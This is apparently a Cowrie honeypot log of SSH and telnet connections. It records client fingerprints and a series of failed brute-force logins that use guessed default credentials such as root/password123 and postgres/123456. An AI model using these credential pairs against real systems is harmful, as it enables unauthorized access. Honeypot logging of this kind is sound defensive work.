{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:26.330081Z","src_ip":"94.26.106.229","session":"885b6d47cfb9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ducc0x","password":"11","message":"login attempt [ducc0x/11] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:26.594980Z","src_ip":"94.26.106.229","session":"885b6d47cfb9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":36168,"dst_ip":"159.203.135.109","dst_port":22,"session":"b5a0ea9cbc3b","protocol":"ssh","message":"New connection: 45.156.87.204:36168 (159.203.135.109:22) [session: b5a0ea9cbc3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:27.596502Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:27.606538Z","src_ip":"45.156.87.204","session":"b5a0ea9cbc3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:27.783478Z","src_ip":"45.156.87.204","session":"b5a0ea9cbc3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:27.795605Z","src_ip":"94.26.106.229","session":"885b6d47cfb9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wizard","password":"wizard","message":"login attempt [wizard/wizard] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:28.345293Z","src_ip":"45.156.87.204","session":"b5a0ea9cbc3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":59810,"dst_ip":"159.203.135.109","dst_port":22,"session":"d814f516e346","protocol":"ssh","message":"New connection: 94.26.106.229:59810 (159.203.135.109:22) [session: d814f516e346]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:29.063433Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:29.069453Z","src_ip":"94.26.106.229","session":"d814f516e346","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:29.155528Z","src_ip":"94.26.106.229","session":"d814f516e346","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password123","message":"login attempt [root/password123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:29.409760Z","src_ip":"94.26.106.229","session":"d814f516e346","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:29.435274Z","src_ip":"45.156.87.204","session":"b5a0ea9cbc3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.3907573223114,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:29.991944Z","src_ip":"152.42.224.71","session":"1bfb285add90","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:30.498078Z","src_ip":"94.26.106.229","session":"d814f516e346","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50800,"dst_ip":"10.17.0.5","dst_port":23,"session":"21a347a65a61","protocol":"telnet","message":"New connection: 152.42.224.71:50800 (10.17.0.5:23) [session: 21a347a65a61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:30.945570Z"}
{"eventid":"cowrie.session.closed","duration":14.379049301147461,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:31.026917Z","src_ip":"152.42.224.71","session":"d9f042ee27e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":59824,"dst_ip":"159.203.135.109","dst_port":22,"session":"bd2b222b4d29","protocol":"ssh","message":"New connection: 94.26.106.229:59824 (159.203.135.109:22) [session: bd2b222b4d29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:31.181282Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:31.186660Z","src_ip":"94.26.106.229","session":"bd2b222b4d29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:31.271368Z","src_ip":"94.26.106.229","session":"bd2b222b4d29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":36172,"dst_ip":"159.203.135.109","dst_port":22,"session":"18973e56472e","protocol":"ssh","message":"New connection: 45.156.87.204:36172 (159.203.135.109:22) [session: 18973e56472e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:31.411234Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:31.416353Z","src_ip":"45.156.87.204","session":"18973e56472e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50806,"dst_ip":"10.17.0.5","dst_port":23,"session":"878040c5b9bc","protocol":"telnet","message":"New connection: 152.42.224.71:50806 (10.17.0.5:23) [session: 878040c5b9bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:31.482888Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:31.499940Z","src_ip":"45.156.87.204","session":"18973e56472e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"P@ssw0rd","message":"login attempt [jenkins/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:31.526951Z","src_ip":"94.26.106.229","session":"bd2b222b4d29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"localhost","password":"localhost","message":"login attempt [localhost/localhost] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:31.754202Z","src_ip":"45.156.87.204","session":"18973e56472e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:32.614944Z","src_ip":"94.26.106.229","session":"bd2b222b4d29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:32.839742Z","src_ip":"45.156.87.204","session":"18973e56472e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.183.70.66","src_port":43420,"dst_ip":"159.203.135.109","dst_port":22,"session":"efdaaeb93d4c","protocol":"ssh","message":"New connection: 45.183.70.66:43420 (159.203.135.109:22) [session: efdaaeb93d4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:34.008200Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:34.013960Z","src_ip":"45.183.70.66","session":"efdaaeb93d4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:34.131423Z","src_ip":"45.183.70.66","session":"efdaaeb93d4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"game","password":"game123","message":"login attempt [game/game123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:34.629843Z","src_ip":"45.183.70.66","session":"efdaaeb93d4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":35866,"dst_ip":"159.203.135.109","dst_port":22,"session":"72432e9df3b6","protocol":"ssh","message":"New connection: 45.156.87.204:35866 (159.203.135.109:22) [session: 72432e9df3b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:34.907186Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:34.912131Z","src_ip":"45.156.87.204","session":"72432e9df3b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:34.996981Z","src_ip":"45.156.87.204","session":"72432e9df3b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123456","message":"login attempt [postgres/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:35.251488Z","src_ip":"45.156.87.204","session":"72432e9df3b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50818,"dst_ip":"10.17.0.5","dst_port":23,"session":"96504e692430","protocol":"telnet","message":"New connection: 152.42.224.71:50818 (10.17.0.5:23) [session: 96504e692430]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:35.562846Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50830,"dst_ip":"10.17.0.5","dst_port":23,"session":"56294e5f54b0","protocol":"telnet","message":"New connection: 152.42.224.71:50830 (10.17.0.5:23) [session: 56294e5f54b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:35.690971Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:35.750656Z","src_ip":"45.183.70.66","session":"efdaaeb93d4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:36.336722Z","src_ip":"45.156.87.204","session":"72432e9df3b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.77108025550842,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:37.298876Z","src_ip":"152.42.224.71","session":"6bfdab9fc21c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":35874,"dst_ip":"159.203.135.109","dst_port":22,"session":"980ccf0ba820","protocol":"ssh","message":"New connection: 45.156.87.204:35874 (159.203.135.109:22) [session: 980ccf0ba820]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:38.441532Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:38.660019Z","src_ip":"45.156.87.204","session":"980ccf0ba820","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:38.663835Z","src_ip":"45.156.87.204","session":"980ccf0ba820","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":42666,"dst_ip":"159.203.135.109","dst_port":22,"session":"7f32ec46cad4","protocol":"ssh","message":"New connection: 176.32.39.21:42666 (159.203.135.109:22) [session: 7f32ec46cad4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:38.724907Z"}
